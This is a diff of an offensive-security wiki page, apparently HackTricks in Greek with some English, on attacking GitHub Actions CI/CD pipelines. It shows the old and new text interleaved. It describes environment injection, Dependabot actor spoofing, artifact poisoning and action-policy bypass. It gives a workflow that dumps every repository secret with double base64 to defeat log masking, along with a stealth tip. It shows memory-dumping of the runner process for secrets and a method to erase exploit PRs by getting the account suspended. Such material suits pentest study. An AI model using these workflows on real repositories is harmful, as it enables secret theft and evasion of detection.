Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **χρήστη** που δημιουργεί το PR. Εάν η github action χρησιμοποιεί αυτά τα **δεδομένα για να εκτελέσει οτιδήποτε**, θα μπορούσε να οδηγήσει σε **εκτέλεση αυθαίρετου κώδικα:**
|
||||
Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **user** που δημιουργεί το PR. Εάν η github action χρησιμοποιεί αυτά τα **data για να εκτελέσει οτιδήποτε**, αυτό θα μπορούσε να οδηγήσει σε **arbitrary code execution:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Εισβολή Σκηνικού** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### Ενέσεις Script στο GITHUB_ENV <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Από τα έγγραφα: Μπορείτε να κάνετε μια **μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επόμενα βήματα** σε μια εργασία ροής εργασίας ορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντας αυτό στο αρχείο περιβάλλοντος **`GITHUB_ENV`**.
|
||||
Από την τεκμηρίωση: Μπορείτε να κάνετε μια **μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επακόλουθα βήματα** σε ένα workflow job ορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντάς την στο αρχείο περιβάλλοντος **`GITHUB_ENV`**.
|
||||
|
||||
Εάν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη **μεταβλητή env**, θα μπορούσε να εισάγει μεταβλητές env που θα μπορούσαν να εκτελέσουν κώδικα στα επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**.
|
||||
Εάν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη μεταβλητή **env**, θα μπορούσε να εισάγει μεταβλητές περιβάλλοντος που θα μπορούσαν να εκτελέσουν κώδικα σε επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**.
|
||||
|
||||
Για παράδειγμα ([**αυτό**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) και [**αυτό**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή περιβάλλοντος **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι τέτοιο για να το συμβιβάσει:
|
||||
Για παράδειγμα ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) και [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε ένα workflow που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή env **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι σαν αυτό για να το παραβιάσει:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot και άλλοι αξιόπιστοι bots
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την ανάρτηση στο blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), πολλές οργανώσεις έχουν μια Github Action που συγχωνεύει οποιοδήποτε PRR από `dependabot[bot]` όπως στο:
|
||||
Όπως αναφέρεται σε [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), αρκετές οργανώσεις έχουν μια Github Action που συγχωνεύει οποιοδήποτε PR από `dependabot[bot]` όπως στο:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
Ποιο είναι ένα πρόβλημα γιατί το πεδίο `github.actor` περιέχει τον χρήστη που προκάλεσε το τελευταίο γεγονός που ενεργοποίησε τη ροή εργασίας. Και υπάρχουν αρκετοί τρόποι για να κάνει ο χρήστης `dependabot[bot]` να τροποποιήσει μια PR. Για παράδειγμα:
|
||||
Αυτό αποτελεί πρόβλημα επειδή το πεδίο `github.actor` περιέχει τον χρήστη που προκάλεσε το τελευταίο event που ενεργοποίησε το workflow. Υπάρχουν αρκετοί τρόποι για να κάνεις τον χρήστη `dependabot[bot]` να τροποποιήσει ένα PR. Για παράδειγμα:
|
||||
|
||||
- Fork το θύμα αποθετήριο
|
||||
- Προσθέστε το κακόβουλο payload στην αντίγραφό σας
|
||||
- Ενεργοποιήστε το Dependabot στο fork σας προσθέτοντας μια παλιά εξάρτηση. Το Dependabot θα δημιουργήσει ένα branch διορθώνοντας την εξάρτηση με κακόβουλο κώδικα.
|
||||
- Ανοίξτε μια Pull Request στο θύμα αποθετήριο από αυτό το branch (η PR θα δημιουργηθεί από τον χρήστη, οπότε δεν θα συμβεί τίποτα ακόμα)
|
||||
- Στη συνέχεια, ο επιτιθέμενος επιστρέφει στην αρχική PR που άνοιξε το Dependabot στο fork του και εκτελεί `@dependabot recreate`
|
||||
- Στη συνέχεια, το Dependabot εκτελεί κάποιες ενέργειες σε αυτό το branch, που τροποποίησαν την PR στο αποθετήριο του θύματος, κάνοντάς το `dependabot[bot]` τον ηθοποιό του τελευταίου γεγονότος που ενεργοποίησε τη ροή εργασίας (και επομένως, η ροή εργασίας εκτελείται).
|
||||
- Κάνε Fork στο αποθετήριο-θύμα
|
||||
- Πρόσθεσε το malicious payload στο αντίγραφό σου
|
||||
- Ενεργοποίησε το Dependabot στο fork σου προσθέτοντας μια ξεπερασμένη dependency. Το Dependabot θα δημιουργήσει ένα branch που διορθώνει την dependency με malicious code.
|
||||
- Άνοιξε ένα Pull Request προς το αποθετήριο-θύμα από εκείνο το branch (το PR θα δημιουργηθεί από τον χρήστη, οπότε τίποτα δεν θα συμβεί ακόμα)
|
||||
- Στη συνέχεια, ο επιτιθέμενος επιστρέφει στο αρχικό PR που άνοιξε το Dependabot στο fork του και τρέχει `@dependabot recreate`
|
||||
- Τότε, το Dependabot εκτελεί κάποιες ενέργειες σε εκείνο το branch, οι οποίες τροποποίησαν το PR στο αποθετήριο-θύμα, κάτι που κάνει τον `dependabot[bot]` actor του τελευταίου event που ενεργοποίησε το workflow (και επομένως, το workflow εκτελείται).
|
||||
|
||||
Προχωρώντας, τι θα γινόταν αν αντί να συγχωνευτεί η Github Action είχε μια εντολή εκτέλεσης όπως στην:
|
||||
Συνεχίζοντας, τι γίνεται αν αντί για συγχώνευση το GitHub Action έχει μια command injection όπως στο:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Λοιπόν, η αρχική ανάρτηση προτείνει δύο επιλογές για να εκμεταλλευτεί αυτή τη συμπεριφορά, με τη δεύτερη να είναι:
|
||||
Λοιπόν, το αρχικό blogpost προτείνει δύο επιλογές για την κατάχρηση αυτής της συμπεριφοράς, με τη δεύτερη να είναι:
|
||||
|
||||
- Fork το αποθετήριο του θύματος και ενεργοποίηση του Dependabot με κάποια παλιά εξάρτηση.
|
||||
- Δημιουργία ενός νέου κλάδου με τον κακόβουλο κώδικα εκτέλεσης εντολών.
|
||||
- Αλλαγή του προεπιλεγμένου κλάδου του αποθετηρίου σε αυτόν.
|
||||
- Δημιουργία ενός PR από αυτόν τον κλάδο στο αποθετήριο του θύματος.
|
||||
- Εκτέλεση του `@dependabot merge` στο PR που άνοιξε ο Dependabot στο fork του.
|
||||
- Ο Dependabot θα συγχωνεύσει τις αλλαγές του στον προεπιλεγμένο κλάδο του forked αποθετηρίου σας, ενημερώνοντας το PR στο αποθετήριο του θύματος, κάνοντάς τον τώρα τον `dependabot[bot]` τον ηθοποιό του τελευταίου γεγονότος που προκάλεσε τη ροή εργασίας και χρησιμοποιώντας ένα κακόβουλο όνομα κλάδου.
|
||||
- Κάντε fork στο victim repository και ενεργοποιήστε το Dependabot με κάποια outdated dependency.
|
||||
- Δημιουργήστε ένα νέο branch με τον κακόβουλο κώδικα shell injection.
|
||||
- Αλλάξτε το default branch του repo σε αυτό.
|
||||
- Δημιουργήστε ένα PR από αυτό το branch προς το victim repository.
|
||||
- Τρέξτε `@dependabot merge` στο PR που άνοιξε το Dependabot στο fork του.
|
||||
- Το Dependabot θα συγχωνεύσει τις αλλαγές του στο default branch του forked repository σας, ενημερώνοντας το PR στο victim repository και καθιστώντας τώρα το `dependabot[bot]` τον actor του τελευταίου event που πυροδότησε το workflow και χρησιμοποιώντας ένα κακόβουλο όνομα branch.
|
||||
|
||||
### Ευάλωτες Τρίτες Υπηρεσίες Github Actions
|
||||
### Vulnerable Third Party Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διάφορες ροές εργασίας και ακόμη και αποθετήρια.
|
||||
Όπως αναφέρεται σε [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διαφορετικά workflows και ακόμη repositories.
|
||||
|
||||
Το πρόβλημα είναι ότι αν η παράμετρος **`path`** δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που θα μπορούσαν αργότερα να χρησιμοποιηθούν ή ακόμη και να εκτελούνται στη ροή εργασίας. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να συμβιβάσει άλλες ροές εργασίας που εμπιστεύονται το Artifact.
|
||||
Το πρόβλημα είναι ότι αν ο παράμετρος **`path`** δεν έχει οριστεί, το artifact αποσυμπιέζεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που ενδέχεται να χρησιμοποιηθούν αργότερα ή ακόμα και να εκτελεστούν στο workflow. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συμβιβάσει άλλα workflows που εμπιστεύονται το Artifact.
|
||||
|
||||
Παράδειγμα ευάλωτης ροής εργασίας:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Αυτή η διαδικασία θα μπορούσε να επιτεθεί με αυτή τη ροή εργασίας:
|
||||
Αυτό μπορεί να επιτεθεί με αυτό το workflow:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -390,27 +393,27 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## Άλλες Εξωτερικές Προσβάσεις
|
||||
## Άλλη Εξωτερική Πρόσβαση
|
||||
|
||||
### Hijacking Διαγραφέντος Namespace Repo
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Αν ένας λογαριασμός αλλάξει το όνομά του, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Αν ένα αποθετήριο είχε **λιγότερους από 100 αστέρες πριν την αλλαγή ονόματος**, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα **αποθετήριο με το ίδιο όνομα** όπως αυτό που διαγράφηκε.
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
|
||||
> [!CAUTION]
|
||||
> Έτσι, αν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
|
||||
> Έτσι, αν ένα action χρησιμοποιεί ένα repo από έναν μη-υπάρχον account, εξακολουθεί να είναι πιθανό ότι ένας attacker θα μπορούσε να δημιουργήσει αυτόν τον account και να compromise το action.
|
||||
|
||||
Αν άλλα αποθετήρια χρησιμοποιούσαν **εξαρτήσεις από αυτά τα αποθετήρια του χρήστη**, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέψουν να **pivot από ένα αποθετήριο σε άλλο** υποθέτοντας ότι έχουμε κάποια πρόσβαση στο πρώτο (δείτε την προηγούμενη ενότητα).
|
||||
> Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέπουν να **pivot from one repo to another** υποθέτοντας ότι έχουμε κάποιο είδος πρόσβασης στο πρώτο (δείτε την προηγούμενη ενότητα).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Ένα cache διατηρείται μεταξύ **των εκτελέσεων workflow στην ίδια branch**. Αυτό σημαίνει ότι αν ένας επιτιθέμενος **συμβιβάσει** ένα **πακέτο** που αποθηκεύεται στο cache και **κατεβαίνει** και εκτελείται από ένα **πιο προνομιούχο** workflow, θα είναι σε θέση να **συμβιβάσει** και αυτό το workflow.
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -418,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Τα workflows θα μπορούσαν να χρησιμοποιούν **artifacts από άλλα workflows και ακόμη και αποθετήρια**, αν ένας επιτιθέμενος καταφέρει να **συμβιβάσει** την Github Action που **ανεβάζει ένα artifact** που χρησιμοποιείται αργότερα από ένα άλλο workflow, θα μπορούσε να **συμβιβάσει τα άλλα workflows**:
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation από μια Ενέργεια
|
||||
## Post Exploitation from an Action
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
|
||||
|
||||
Παράδειγμα:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### Πρόσβαση σε AWS και GCP μέσω OIDC
|
||||
|
||||
Δείτε τις παρακάτω σελίδες:
|
||||
Ελέγξτε τις παρακάτω σελίδες:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Πρόσβαση σε μυστικά <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Πρόσβαση σε secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Αν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
|
||||
Αν εισάγετε περιεχόμενο σε ένα script, είναι χρήσιμο να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε secrets:
|
||||
|
||||
- Αν το μυστικό ή το token έχει οριστεί σε μια **μεταβλητή περιβάλλοντος**, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας **`printenv`**.
|
||||
- Εάν το secret ή το token είναι ρυθμισμένο ως **environment variable**, μπορεί να προσπελαστεί απευθείας μέσω του environment χρησιμοποιώντας **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λίστα μυστικών στην έξοδο της Github Action</summary>
|
||||
<summary>Καταγραφή secrets στην έξοδο του Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Απόκτηση αντίστροφης θήκης με μυστικά</summary>
|
||||
<summary>Απόκτηση reverse shell με secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- Αν το μυστικό χρησιμοποιείται **άμεσα σε μια έκφραση**, το παραγόμενο shell script αποθηκεύεται **στον δίσκο** και είναι προσβάσιμο.
|
||||
- Αν το secret χρησιμοποιείται **απευθείας σε μια έκφραση**, το δημιουργημένο shell script αποθηκεύεται **στο δίσκο** και είναι προσβάσιμο.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Για τις JavaScript actions, τα μυστικά αποστέλλονται μέσω μεταβλητών περιβάλλοντος.
|
||||
- Για JavaScript actions τα secrets αποστέλλονται μέσω μεταβλητών περιβάλλοντος
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Για μια **προσαρμοσμένη ενέργεια**, ο κίνδυνος μπορεί να διαφέρει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το μυστικό που απέκτησε από το **επιχείρημα**:
|
||||
- Για μια **custom action**, ο κίνδυνος μπορεί να ποικίλει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το secret που έλαβε από το **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,23 +542,47 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Κατάχρηση αυτο-φιλοξενούμενων runners
|
||||
- Εξάγετε όλα τα secrets μέσω του secrets context (collaborator επίπεδο). Ένας contributor με write access μπορεί να τροποποιήσει ένα workflow σε οποιοδήποτε branch για να dump-άρει όλα τα repository/org/environment secrets. Χρησιμοποιήστε διπλό base64 για να παρακάμψετε το GitHub’s log masking και αποκωδικοποιήστε τοπικά:
|
||||
|
||||
Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε υποδομή εκτός Github** είναι να αναζητήσετε **`runs-on: self-hosted`** στο αρχείο ρύθμισης yaml της Github Action.
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Οι **αυτο-φιλοξενούμενοι** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα** και η κακόβουλη μπορεί να **κλέψει τα μυστικά** της άλλης.
|
||||
Decode locally:
|
||||
|
||||
Σε αυτο-φιλοξενούμενους runners είναι επίσης δυνατό να αποκτηθούν τα **μυστικά από τη διαδικασία \_Runner.Listener**\_\*\* που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, εκτελώντας dump της μνήμης της:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Tip: για stealth κατά τη διάρκεια testing, κρυπτογραφήστε πριν την εκτύπωση (openssl είναι προεγκατεστημένο στους GitHub-hosted runners).
|
||||
|
||||
### Κατάχρηση Self-hosted runners
|
||||
|
||||
Ο τρόπος να βρείτε ποιες **Github Actions εκτελούνται σε μη-github υποδομή** είναι να αναζητήσετε **`runs-on: self-hosted`** στο Github Action configuration yaml.
|
||||
|
||||
Οι **Self-hosted** runners μπορεί να έχουν πρόσβαση σε **επιπλέον ευαίσθητες πληροφορίες**, σε άλλα **δικτυακά συστήματα** (vulnerable endpoints στο δίκτυο; metadata service?) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, **πάνω από ένα action μπορεί να τρέξει ταυτόχρονα** και η κακόβουλη να **κλέψει τα secrets** της άλλης.
|
||||
|
||||
Σε self-hosted runners είναι επίσης δυνατό να αποκτήσετε τα **secrets from the \_Runner.Listener**\_\*\* process\*\*, το οποίο θα περιέχει όλα τα secrets των workflows σε οποιοδήποτε βήμα, κάνοντας dump της μνήμης του:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Δείτε [**αυτή την ανάρτηση για περισσότερες πληροφορίες**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Δείτε [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
Είναι δυνατόν να δημιουργήσετε Github actions που θα **κατασκευάσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github**.\
|
||||
Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω επεκτάσιμο:
|
||||
Είναι δυνατόν να δημιουργήσετε Github actions που θα **build and store a Docker image inside Github**.\
|
||||
Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω αναδιπλούμενο:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Όπως μπορείτε να δείτε στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**.
|
||||
Όπως φαίνεται στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**.
|
||||
|
||||
Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την εικόνα Docker χρησιμοποιώντας ένα προσωπικό διακριτικό πρόσβασης:
|
||||
Ένας χρήστης με δικαιώματα ανάγνωσης στο repo θα μπορεί τότε να κατεβάσει το Docker Image χρησιμοποιώντας ένα personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets στα layers της Docker εικόνας:**
|
||||
Τότε, ο χρήστης θα μπορούσε να αναζητήσει **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Ευαίσθητες πληροφορίες στα logs των Github Actions
|
||||
### Ευαίσθητες πληροφορίες στα Github Actions logs
|
||||
|
||||
Ακόμα και αν το **Github** προσπαθεί να **ανιχνεύσει μυστικές τιμές** στα logs των actions και **να τις αποφύγει**, **άλλα ευαίσθητα δεδομένα** που θα μπορούσαν να έχουν παραχθεί κατά την εκτέλεση της action δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι [συγκεκριμένα ρυθμισμένο](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Ακόμα και αν το **Github** προσπαθήσει να εντοπίσει **secret values** στα actions logs και να **avoid showing** αυτά, **άλλα ευαίσθητα δεδομένα** που μπορεί να έχουν παραχθεί κατά την εκτέλεση του action δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι [ειδικά διαμορφωμένο](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Καλύπτοντας τα Ίχνη σας
|
||||
## Κάλυψη των ιχνών σας
|
||||
|
||||
(Τεχνική από [**εδώ**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, οποιοδήποτε PR έχει υποβληθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχοθετημένο λογαριασμό GitHub. Στο GitHub από προεπιλογή, **δεν μπορούμε να διαγράψουμε ένα PR από το διαδίκτυο**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι **ανασταλμένοι** από το Github, όλα τα **PRs τους διαγράφονται αυτόματα** και αφαιρούνται από το διαδίκτυο. Έτσι, για να κρύψετε τη δραστηριότητά σας, πρέπει είτε να κάνετε τον **λογαριασμό σας GitHub ανασταλμένο είτε να σημαδευτεί ο λογαριασμός σας**. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το διαδίκτυο (βασικά θα αφαιρέσει όλα τα exploit PR σας)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Πρώτα απ' όλα, οποιοδήποτε PR δημιουργηθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχευόμενο λογαριασμό GitHub. Στο GitHub εξ ορισμού, **δεν μπορούμε να διαγράψουμε ένα PR από το internet**, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που έχουν **suspended** από το Github, όλα τα **PRs διαγράφονται αυτόματα** και αφαιρούνται από το internet. Έτσι, για να κρύψετε τη δραστηριότητά σας πρέπει είτε να ανασταλεί ο **GitHub account** σας είτε να σημαδευτεί ο λογαριασμός σας. Αυτό θα **κρύψει όλες τις δραστηριότητές σας** στο GitHub από το internet (βασικά θα αφαιρέσει όλα τα exploit PR σας)
|
||||
|
||||
Μια οργάνωση στο GitHub είναι πολύ προληπτική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “μερικά πράγματα” σε Issue και θα φροντίσουν να ανασταλεί ο λογαριασμός σας σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github.
|
||||
Μια οργάνωση στο GitHub είναι πολύ προδραστική στο να αναφέρει λογαριασμούς στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “κάποια πράγματα” σε ένα Issue και θα φροντίσουν ο λογαριασμός σας να ανασταλεί σε 12 ώρες :p και voilà — το exploit σας γίνεται αόρατο στο github.
|
||||
|
||||
> [!WARNING]
|
||||
> Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχουν στοχοποιηθεί είναι να ελέγξουν τα logs του GitHub από το SIEM, καθώς από το UI του GitHub το PR θα έχει αφαιρεθεί.
|
||||
> Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχει στοχοποιηθεί είναι να ελέγξει τα GitHub logs από το SIEM, αφού από το GitHub UI το PR θα είχε αφαιρεθεί.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+93
